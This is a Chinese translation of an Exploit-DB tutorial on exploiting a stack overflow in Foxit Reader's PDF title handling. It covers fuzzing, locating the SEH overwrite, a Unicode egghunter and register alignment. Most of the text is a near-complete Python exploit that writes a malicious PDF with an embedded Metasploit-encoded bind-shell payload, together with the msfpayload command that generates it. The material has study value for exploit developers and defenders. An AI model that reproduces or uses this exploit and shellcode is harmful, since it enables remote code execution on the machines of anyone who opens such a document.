【原文】http://www.exploit-db.com/foxit-reader-stack-overflow-exploit-egghunter/
在以前,Adobe Reader 的0day可以说是遍地都是,自然地Foix Reader便被认为是比Adobe更为安全的选择。虽然那意味着Foxit的可利用的漏洞不如Adobe多,但是这并不等同于完全没有。
带着探究的目的,笔者就用Microsoft SDL MiniFuzz进行了一些模糊测试。让程序读取了很多文件,当然许多都是黑帽上的白皮纸文件,然后开始不断地测试它。经过几个小时的测试,笔者惊喜的发现了一些崩溃现象,其中有一个崩溃能够导致SEH被覆写。
图1
而下一步,就需要定位出是什么引起了这次崩溃,因此笔者用一个文本编辑器打开了这个pdf文件。如图
图2
由此可以了解到,首先,SHE被0x00E700E7(译者注:Unicode会在字节前面自动加00)覆写,由此可知这是一个Unicode利用程序;其次,程序的崩溃是因为Foxit在清理读入的标题标签的时候的失败导致的。笔者接下来的任务就是定位出来是在字符串的哪里发生了覆写,因此笔者用Metasploit随机生成了10000个字符,然后将它们粘贴进pdf文件中。
代码:
# ./pattern_create.rb 10000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab
用Foxit打开这个pdf文件后,发现SEH被笔者特意构造的字符给覆写了。
图3
看到图中字符串‘r9As’,因此能够定位出SEH的覆写位置。
代码:
# ./pattern_offset.rb r9As 10000 538
经过上面的实验后,笔者尽量的去除那些没有用的数据,写了一段小python脚本来使这个工作更简单,当然脚本包括了nSEH和SEh被覆写的地方。
代码:
#!/usr/bin/python preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25\xE2\xE3\xCF\xD3\x0A\x38\x31\x20... ...\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61" lead = "\x41" * 538 nseh = "\x42\x42" seh = "\x43\x43" trailer = "\x44" * 9384 trailer += "\xE7\xE7" trailer += "dookie was here: breaking your pdf reader application" trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A" sploit = preamble + lead + nseh + seh + trailer filename = "foxit_title.pdf" evil = open(filename, 'w') evil.write(sploit) evil.close
生成这个恶意pdf文件后用Foxit打开它。果然出现了一个完全可控的SEH链崩溃。
图4
找到了可控SEH后,接下来就是去寻找一个Unicode友好型pop-pop-retn指令序列。因为Foxit主体二进制没有用SafeSEH保护,因此笔者决定先看那里。笔者在0x004D002F处找到一个候选序列,因此直接把它加进了自己的脚本。当然也需要找到一些Unicode字符来放入nSEH以便使其在执行时能够步过SEH地址而不会对笔者的脚本造成伤害或者任何的编辑行为。
代码:
... lead = "\x41" * 538 nseh = "\x41\x6d" # Walk over SEH seh = "\x2F\x4D" # p/p/r from app binary ...
图5
然后单步走过p/p/r指令进入nSEH直接走过了SEH的覆写。
图6
到了这一点后,每一件事都指示着这将会是一个很好的“vanilla” Unicode exploit。笔者需要做就是加一些宽字符shellcode进入堆栈。增加一些字符给EAX。笔者发现如下是坏字符序列:
代码:
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x7f\x9f\xad
图7
幸运的很,笔者找到了一个超过9000字节的可用来写入shellcode的空间,虽然看上去存满了字母,却留下了很大的可利用空间。基于这种情况,就可以使用egghunter的方法了。收集到这些信息后,笔者的策略安排如下:
1、生成一个数字与字母组成的bind shellcode
2、放置egg和shellcode在笔者们的缓冲区里
3、生成Unicode egghunter shellcode
4、调整EAX的值使其指向egghunter shellcode的开始。
前两步是最简单的,利用Metasploit 来生成一些字母shellcode同时用EAX作为基本寄存器,笔者是添加了”w00tw00t“作为笔者的egg标记。
。
代码:
# /msf3/msfpayload windows/shell_bind_tcp R | /msf3/msfencode BufferRegister=EAX -e x86/alpha_upper -t c[*] x86/alpha_upper succeeded with size 745 (iteration=1) unsigned char buf[] = "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56" "\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30" "\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" ...
代码:
OR DX,0FFF INC EDX PUSH EDX PUSH 2 POP EAX INT 2E CMP AL,5 POP EDX JE SHORT MOV EAX,74303077 MOV EDI,EDX SCAS DWORD PTR ES:[EDI] JNZ SHORT SCAS DWORD PTR ES:[EDI] JNZ SHORT MOV EAX,EDI JMP EDI
图8
把编码过的shellcode加到exploit然后调整了下代码长度。代码如下:
代码:
#!/usr/bin/python preamble = "\x25\x50\x44\x46\x2D\x31\x2E\x34\x0A\x25... ...x30\x37\x27\x30\x30\x27\x29\x2F\x54\x69\x74\x6C\x65\x28\x50\x61" # 202 byte unicode egghunter - EAX base register egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAI" "AJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO" "0B0R1ZKR0X8MNNOLKU0Z2TJO6X2W00002T4KJZ6O2U9Z6O2U9W4K7WKO9WKPA") # Bindshell - Does not need to be Unicode friendly as it is untouched in memory - 745 bytes bindshell = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x56" "\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30" "\x41\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b" "\x4c\x4b\x58\x4b\x39\x45\x50\x45\x50\x45\x50\x43\x50\x4c\x49" "\x4a\x45\x46\x51\x4e\x32\x45\x34\x4c\x4b\x51\x42\x46\x50\x4c" "\x4b\x46\x32\x44\x4c\x4c\x4b\x50\x52\x42\x34\x4c\x4b\x42\x52" "\x47\x58\x44\x4f\x4e\x57\x50\x4a\x46\x46\x46\x51\x4b\x4f\x50" "\x31\x4f\x30\x4e\x4c\x47\x4c\x45\x31\x43\x4c\x44\x42\x46\x4c" "\x51\x30\x49\x51\x48\x4f\x44\x4d\x45\x51\x49\x57\x4b\x52\x4a" "\x50\x50\x52\x50\x57\x4c\x4b\x50\x52\x44\x50\x4c\x4b\x50\x42" "\x47\x4c\x45\x51\x4e\x30\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49" "\x50\x43\x44\x50\x4a\x43\x31\x4e\x30\x46\x30\x4c\x4b\x47\x38" "\x45\x48\x4c\x4b\x51\x48\x47\x50\x45\x51\x4e\x33\x4d\x33\x47" "\x4c\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x43\x31\x4e\x36\x50\x31" "\x4b\x4f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x48\x4f\x44\x4d\x43" "\x31\x49\x57\x50\x38\x4b\x50\x44\x35\x4c\x34\x44\x43\x43\x4d" "\x4c\x38\x47\x4b\x43\x4d\x51\x34\x42\x55\x4a\x42\x51\x48\x4c" "\x4b\x46\x38\x47\x54\x45\x51\x48\x53\x45\x36\x4c\x4b\x44\x4c" "\x50\x4b\x4c\x4b\x51\x48\x45\x4c\x43\x31\x49\x43\x4c\x4b\x43" "\x34\x4c\x4b\x43\x31\x4e\x30\x4c\x49\x47\x34\x51\x34\x47\x54" "\x51\x4b\x51\x4b\x43\x51\x50\x59\x51\x4a\x46\x31\x4b\x4f\x4b" "\x50\x51\x48\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x4a\x4b\x4d\x56" "\x51\x4d\x43\x58\x47\x43\x47\x42\x43\x30\x43\x30\x42\x48\x44" "\x37\x44\x33\x50\x32\x51\x4f\x51\x44\x45\x38\x50\x4c\x43\x47" "\x47\x56\x44\x47\x4b\x4f\x48\x55\x48\x38\x4c\x50\x43\x31\x45" "\x50\x43\x30\x51\x39\x48\x44\x50\x54\x50\x50\x42\x48\x46\x49" "\x4d\x50\x42\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50\x50\x50\x46" "\x30\x46\x30\x51\x50\x50\x50\x47\x30\x50\x50\x43\x58\x4a\x4a" "\x44\x4f\x49\x4f\x4b\x50\x4b\x4f\x49\x45\x4c\x49\x49\x57\x46" "\x51\x49\x4b\x46\x33\x43\x58\x45\x52\x43\x30\x44\x51\x51\x4c" "\x4c\x49\x4a\x46\x42\x4a\x44\x50\x50\x56\x46\x37\x45\x38\x4f" "\x32\x49\x4b\x47\x47\x45\x37\x4b\x4f\x4e\x35\x51\x43\x46\x37" "\x45\x38\x4f\x47\x4b\x59\x46\x58\x4b\x4f\x4b\x4f\x4e\x35\x50" "\x53\x51\x43\x51\x47\x45\x38\x44\x34\x4a\x4c\x47\x4b\x4b\x51" "\x4b\x4f\x48\x55\x51\x47\x4b\x39\x48\x47\x42\x48\x43\x45\x42" "\x4e\x50\x4d\x43\x51\x4b\x4f\x49\x45\x42\x48\x43\x53\x42\x4d" "\x42\x44\x45\x50\x4c\x49\x4d\x33\x50\x57\x50\x57\x46\x37\x50" "\x31\x4a\x56\x42\x4a\x42\x32\x51\x49\x46\x36\x4a\x42\x4b\x4d" "\x42\x46\x49\x57\x47\x34\x51\x34\x47\x4c\x45\x51\x43\x31\x4c" "\x4d\x50\x44\x51\x34\x42\x30\x4f\x36\x43\x30\x47\x34\x50\x54" "\x46\x30\x46\x36\x51\x46\x51\x46\x50\x46\x46\x36\x50\x4e\x51" "\x46\x50\x56\x50\x53\x50\x56\x43\x58\x44\x39\x48\x4c\x47\x4f" "\x4d\x56\x4b\x4f\x4e\x35\x4b\x39\x4b\x50\x50\x4e\x50\x56\x51" "\x56\x4b\x4f\x46\x50\x45\x38\x45\x58\x4c\x47\x45\x4d\x45\x30" "\x4b\x4f\x4e\x35\x4f\x4b\x4a\x50\x4e\x55\x4e\x42\x46\x36\x42" "\x48\x49\x36\x4a\x35\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47\x4c" "\x43\x36\x43\x4c\x45\x5a\x4d\x50\x4b\x4b\x4b\x50\x43\x45\x43" "\x35\x4f\x4b\x47\x37\x44\x53\x42\x52\x42\x4f\x42\x4a\x45\x50" "\x51\x43\x4b\x4f\x4e\x35\x44\x4a\x41\x41") lead = "\x41" * 538 nseh = "\x41\x6d" # Walk over SEH seh = "\x2F\x4D" # p/p/r from app binary filler = "\x41" * 130 egg = "w00tw00t" trailer = "\x44" * 8507 trailer += "\xE7\xE7" trailer += "dookie was here: breaking your pdf reader application" trailer += "\x29\x3E\x3E\x0A\x65\x6E\x64\x6F\x62\x6A" sploit = preamble + lead + nseh + seh + filler + egghunter + filler + egg + bindshell + trailer filename = "foxit_title.pdf" evil = open(filename, 'w') evil.write(sploit) evil.close
图9
最后的问题就是调整EAX寄存器,让它指向Unicode-encoded egghuntershellcode。因为实际上它包含了许多坏掉的字符。仅凭笔者马虎的二进制数学,这将会花费很多的指令,但是因为笔者的一个朋友devilboy,下面这些短小的序列就是在他的Foxit exploit用来指向EAX更接近笔者笔者们需要的地方
代码:
58 # POP EAX 6D # Align 58 # POP EAX 6D # Align 58 # POP EAX 6D # Align 35 00FF0020 # XOR EAX,2000FF00 6D # Align 35 00F00020 # XOR EAX,2000F000 6D # Align 50 # PUSH EAX 6D # Align C3 # RETN 6D # Align
图10
每一个步骤都调整好了,剩下的就是确定egghunter可以精确地定位到笔者的bindshell shellcode,因此笔者将egghunter shellcode 解密然后在跳向EDI寄存器之前设置一个断点。然后进行调试。当程序停在断点处的时候EAX和EDI同时指向Alpha shellcod处,成功的找到了这个egg。
图11
万事俱备,现在是时候运行笔者们的exploit了。
图12
最终的exploit结构如下:
preamble | lead | nseh | seh | aligneax | filler | egghunter | filler | egg | bindshell | trailer
笔者这篇Foxit Reader Egghunter Exploit 仅仅是获取代码执行的多种方法之一。